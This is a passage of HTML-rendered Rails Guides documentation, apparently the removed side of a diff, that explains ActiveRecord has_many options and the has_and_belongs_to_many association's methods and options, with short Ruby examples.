- has_many <span style="color: #990000">:</span>line_items<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders.id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_include_tt_3"><tt>:include</tt></h5>
-<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
- has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
- has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_limit_tt"><tt>:limit</tt></h5>
-<div class="paragraph"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>recent_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"order_date DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">100</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_offset_tt"><tt>:offset</tt></h5>
-<div class="paragraph"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset =&gt; 11</tt>, it will skip the first 11 records.</p></div>
-<h5 id="_tt_order_tt_2"><tt>:order</tt></h5>
-<div class="paragraph"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date_confirmed DESC"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_primary_key_tt_2"><tt>:primary_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
-<h5 id="_tt_readonly_tt_3"><tt>:readonly</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt_3"><tt>:select</tt></h5>
-<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">If you specify your own <tt>:select</tt>, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.</td>
-</tr></table>
-</div>
-<h5 id="_tt_source_tt_2"><tt>:source</tt></h5>
-<div class="paragraph"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p></div>
-<h5 id="_tt_source_type_tt_2"><tt>:source_type</tt></h5>
-<div class="paragraph"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p></div>
-<h5 id="_tt_through_tt_2"><tt>:through</tt></h5>
-<div class="paragraph"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.</p></div>
-<h5 id="_tt_uniq_tt"><tt>:uniq</tt></h5>
-<div class="paragraph"><p>Specify the <tt>:uniq =&gt; true</tt> option to remove duplicates from the collection. This is most useful in conjunction with the <tt>:through</tt> option.</p></div>
-<h5 id="_tt_validate_tt_3"><tt>:validate</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved_3">4.3.3. When are Objects Saved?</h4>
-<div class="paragraph"><p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p></div>
-<div class="paragraph"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="paragraph"><p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
-<div class="paragraph"><p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
-<h3 id="_the_tt_has_and_belongs_to_many_tt_association_2">4.4. The <tt>has_and_belongs_to_many</tt> Association</h3>
-<div class="paragraph"><p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p></div>
-<h4 id="_methods_added_2">4.4.1. Methods Added</h4>
-<div class="paragraph"><p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt><em>collection</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>&lt;&lt;(object, ...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.delete(object, ...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>=objects</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection\_singular</em>\_ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection\_singular</em>\_ids=ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.clear</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.empty?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.size</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.find(...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.exist?(...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.build(attributes = {})</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.create(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection</em>\_singular</tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Each instance of the part model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assemblies<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
-assemblies<span style="color: #990000">&lt;&lt;(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">=</span>objects
-assembly_ids
-assembly_ids<span style="color: #990000">=</span>ids
-assemblies<span style="color: #990000">.</span>clear
-assemblies<span style="color: #990000">.</span>empty?
-assemblies<span style="color: #990000">.</span>size
-assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
-assemblies<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
-assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_additional_column_methods">Additional Column Methods</h5>
-<div class="paragraph"><p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">The use of extra attributes on the join table in a <tt>has_and_belongs_to_many</tt> association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a <tt>has_many :through</tt> association instead of <tt>has_and_belongs_to_many</tt>.</td>
-</tr></table>
-</div>
-<h5 id="_tt_em_collection_em_force_reload_false_tt_2"><tt><em>collection</em>(force_reload = false)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_lt_lt_object_tt_2"><tt><em>collection</em>&lt;&lt;(object, ...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by creating records in the join table.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@assembly1</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.</td>
-</tr></table>
-</div>
-<h5 id="_tt_em_collection_em_delete_object_tt_2"><tt><em>collection</em>.delete(object, ...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@assembly1</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_objects_tt_2"><tt><em>collection</em>=objects</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_singular_em_ids_tt_2"><tt><em>collection\_singular</em>\_ids</tt></h5>
-<div class="paragraph"><p># Returns an array of the associated objects' ids</p></div>
-<div class="paragraph"><p>The <tt><em>collection\_singular</em>\_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assembly_ids</tt></pre></div></div>
-<h5 id="_tt_em_collection_singular_em_ids_ids_tt_2"><tt><em>collection\_singular</em>\_ids=ids</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection\_singular</em>\_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_em_clear_tt_2"><tt><em>collection</em>.clear</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.</p></div>
-<h5 id="_tt_em_collection_em_empty_tt_2"><tt><em>collection</em>.empty?</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% if @part.assemblies.empty? %&gt;</span>
- This part is <span style="font-weight: bold"><span style="color: #0000FF">not</span></span> used <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> any assemblies
-<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_size_tt_2"><tt><em>collection</em>.size</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>size</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_find_tt_2"><tt><em>collection</em>.find(...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@new_assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_exist_tt_2"><tt><em>collection</em>.exist?(...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
-<h5 id="_tt_em_collection_em_build_attributes_tt_2"><tt><em>collection</em>.build(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_create_attributes_tt_2"><tt><em>collection</em>.create(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h4 id="_options_for_has_and_belongs_to_many">4.4.2. Options for has_and_belongs_to_many</h4>
-<div class="paragraph"><p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>uniq <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>read_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:association_foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:counter_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:delete_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:extend</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:finder_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:group</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:insert_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:join_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:limit</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:offset</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:order</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:uniq</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_association_foreign_key_tt"><tt>:association_foreign_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">The <tt>:foreign_key</tt> and <tt>:association_foreign_key</tt> options are useful when setting up a many-to-many self-join. For example:</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_class_name_tt_4"><tt>:class_name</tt></h5>
-<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you&#8217;d set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Gadget"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_conditions_tt_4"><tt>:conditions</tt></h5>
-<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory = 'Seattle'"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can also set conditions via a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>factory <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Seattle'</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the factory column has the value "Seattle".</p></div>
-<h5 id="_tt_counter_sql_tt_2"><tt>:counter_sql</tt></h5>
-<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT ... FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
-</tr></table>
-</div>
-<h5 id="_tt_delete_sql_tt"><tt>:delete_sql</tt></h5>
-<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete SQL statement to delete them yourself.</p></div>
-<h5 id="_tt_extend_tt_2"><tt>:extend</tt></h5>
-<div class="paragraph"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_finder_sql_tt_2"><tt>:finder_sql</tt></h5>
-<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
-<h5 id="_tt_foreign_key_tt_4"><tt>:foreign_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_group_tt_2"><tt>:group</tt></h5>
